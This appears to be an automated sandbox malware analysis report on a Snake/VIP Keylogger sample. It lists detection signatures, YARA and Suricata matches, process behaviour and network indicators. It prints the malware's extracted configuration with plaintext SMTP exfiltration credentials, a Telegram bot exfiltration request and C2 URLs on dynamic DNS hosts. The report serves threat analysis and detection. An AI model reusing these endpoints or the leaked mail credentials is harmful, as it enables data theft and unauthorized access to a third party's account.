Edit tour

Windows Analysis Report
7DI4iYwcvw.exe

Overview

General Information

Sample name:	7DI4iYwcvw.exe renamed because original name is a hash value
Original sample name:	2b4eae5d8282eacacd17d2fdec8bf3e052baa7e7f60276854b9c077183aa2176.exe
Analysis ID:	1529912
MD5:	e142f0bf6c0d9be52f8c7f52007c64d0
SHA1:	36d40ea847e5f16424951fc9a5bd19f739705c87
SHA256:	2b4eae5d8282eacacd17d2fdec8bf3e052baa7e7f60276854b9c077183aa2176
Tags:	exeSnakeKeyloggeruser-adrian__luca
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

AI detected suspicious sample

Machine Learning detection for sample

Maps a DLL or memory area into another process

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Yara detected Generic Downloader

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

PE file contains an invalid checksum

Queries the volume information (name, serial number etc) of a device

Sigma detected: Suspicious Outbound SMTP Connections

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

7DI4iYwcvw.exe (PID: 6924 cmdline: "C:\Users\user\Desktop\7DI4iYwcvw.exe" MD5: E142F0BF6C0D9BE52F8C7F52007C64D0)

RegSvcs.exe (PID: 7020 cmdline: "C:\Users\user\Desktop\7DI4iYwcvw.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "info@irco.com.sa", "Password": "info12A", "Host": "mail.irco.com.sa", "Port": "587", "Version": "4.4"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "info@irco.com.sa", "Password": "info12A", "Host": "mail.irco.com.sa", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.4794997601.00000000028E7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.4794997601.00000000028E7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000002.00000002.4794997601.00000000027E1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dd83:$a1: get_encryptedPassword 0x2e0a0:$a2: get_encryptedUsername 0x2db93:$a3: get_timePasswordChanged 0x2dc9c:$a4: get_passwordField 0x2dd99:$a5: set_encryptedPassword 0x2f439:$a7: get_logins 0x2f39c:$a10: KeyLoggerEventArgs 0x2f001:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: RegSvcs.exe PID: 7020	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 7020	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: RegSvcs.exe PID: 7020	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 7020	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x17b018:$a1: get_encryptedPassword 0x17b32b:$a2: get_encryptedUsername 0x17ae32:$a3: get_timePasswordChanged 0x17af3b:$a4: get_passwordField 0x17b02e:$a5: set_encryptedPassword 0x17d4d8:$a7: get_logins 0x17d43b:$a10: KeyLoggerEventArgs 0x17d0a4:$a11: KeyLoggerEventArgsEventHandler
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
2.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.RegSvcs.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2df83:$a1: get_encryptedPassword 0x2e2a0:$a2: get_encryptedUsername 0x2dd93:$a3: get_timePasswordChanged 0x2de9c:$a4: get_passwordField 0x2df99:$a5: set_encryptedPassword 0x2f639:$a7: get_logins 0x2f59c:$a10: KeyLoggerEventArgs 0x2f201:$a11: KeyLoggerEventArgsEventHandler
2.2.RegSvcs.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3bd38:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3b3db:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b638:$a4: \Orbitum\User Data\Default\Login Data 0x3c017:$a5: \Kometa\User Data\Default\Login Data
2.2.RegSvcs.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2eb8d:$s1: UnHook 0x2eb94:$s2: SetHook 0x2eb9c:$s3: CallNextHook 0x2eba9:$s4: _hook
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 46.151.208.21, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, Initiated: true, ProcessId: 7020, Protocol: tcp, SourceIp: 192.168.2.12, SourceIsIpv6: false, SourcePort: 49736

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-09T14:45:17.147222+0200	2803305	3	Unknown Traffic	192.168.2.12	49713	188.114.96.3	443	TCP
2024-10-09T14:45:19.102713+0200	2803305	3	Unknown Traffic	192.168.2.12	49715	188.114.96.3	443	TCP
2024-10-09T14:45:23.944483+0200	2803305	3	Unknown Traffic	192.168.2.12	49722	188.114.96.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-09T14:45:15.644619+0200	2803274	2	Potentially Bad Traffic	192.168.2.12	49711	193.122.6.168	80	TCP
2024-10-09T14:45:16.566496+0200	2803274	2	Potentially Bad Traffic	192.168.2.12	49711	193.122.6.168	80	TCP
2024-10-09T14:45:17.798405+0200	2803274	2	Potentially Bad Traffic	192.168.2.12	49714	193.122.6.168	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 7DI4iYwcvw.exe

Avira: detected

Found malware configuration

Source: 00000002.00000002.4794997601.00000000027E1000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "info@irco.com.sa", "Password": "info12A", "Host": "mail.irco.com.sa", "Port": "587", "Version": "4.4"}
Source: 2.2.RegSvcs.exe.400000.0.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "info@irco.com.sa", "Password": "info12A", "Host": "mail.irco.com.sa", "Port": "587", "Version": "4.4"}

Multi AV Scanner detection for submitted file

Source: 7DI4iYwcvw.exe

ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 7DI4iYwcvw.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: 7DI4iYwcvw.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.12:49712 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.12:49712 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.12:49733 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.12:49735 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00FDF45Dh	2_2_00FDF2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00FDF45Dh	2_2_00FDF4AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00FDFC19h	2_2_00FDF961
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 061BE0A9h	2_2_061BDE00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 061B31E0h	2_2_061B2DC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 061B0D0Dh	2_2_061B0B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 061B1697h	2_2_061B0B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 061B2C19h	2_2_061B2968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 061BE959h	2_2_061BE6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 061BF209h	2_2_061BEF60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 061BCF49h	2_2_061BCCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 061BD7F9h	2_2_061BD550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 061B31E0h	2_2_061B2DC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 061BE501h	2_2_061BE258
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 061BEDB1h	2_2_061BEB08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 061BF661h	2_2_061BF3B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 061BFAB9h	2_2_061BF810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	2_2_061B0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 061BD3A1h	2_2_061BD0F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 061B31E0h	2_2_061B310E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 061BDC51h	2_2_061BD9A8

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match

File source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.12:49736 -> 46.151.208.21:587

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841618%0D%0ADate%20and%20Time:%2009/10/2024%20/%2023:08:13%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20841618%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.12:49714 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.12:49711 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.12:49713 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.12:49715 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.12:49722 -> 188.114.96.3:443

Source: global traffic

TCP traffic: 192.168.2.12:49736 -> 46.151.208.21:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.12:49712 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.12:49712 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.12:49733 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841618%0D%0ADate%20and%20Time:%2009/10/2024%20/%2023:08:13%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20841618%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: mail.irco.com.sa

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 09 Oct 2024 12:45:29 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: RegSvcs.exe, 00000002.00000002.4794997601.00000000028E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: RegSvcs.exe, 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: RegSvcs.exe, 00000002.00000002.4794997601.00000000027E1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: RegSvcs.exe, 00000002.00000002.4794997601.00000000027E1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: RegSvcs.exe, 00000002.00000002.4794997601.00000000027E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: RegSvcs.exe, 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: RegSvcs.exe, 00000002.00000002.4794609569.0000000000C36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: RegSvcs.exe, 00000002.00000002.4794763868.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enM
Source: RegSvcs.exe, 00000002.00000002.4794997601.00000000028E7000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4794997601.0000000002935000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.irco.com.sa
Source: RegSvcs.exe, 00000002.00000002.4794997601.00000000027E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 00000002.00000002.4794997601.00000000027E1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003801000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegSvcs.exe, 00000002.00000002.4794997601.00000000028C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: RegSvcs.exe, 00000002.00000002.4794997601.00000000028C2000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: RegSvcs.exe, 00000002.00000002.4794997601.00000000028C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: RegSvcs.exe, 00000002.00000002.4794997601.00000000028C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841618%0D%0ADate%20a
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003801000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003801000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003801000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegSvcs.exe, 00000002.00000002.4794997601.000000000299E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4794997601.0000000002999000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4794997601.00000000029CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003801000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003801000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003801000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegSvcs.exe, 00000002.00000002.4794997601.000000000289C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4794997601.00000000028C2000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4794997601.000000000282E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: RegSvcs.exe, 00000002.00000002.4794997601.000000000282E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: RegSvcs.exe, 00000002.00000002.4794997601.000000000282E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33
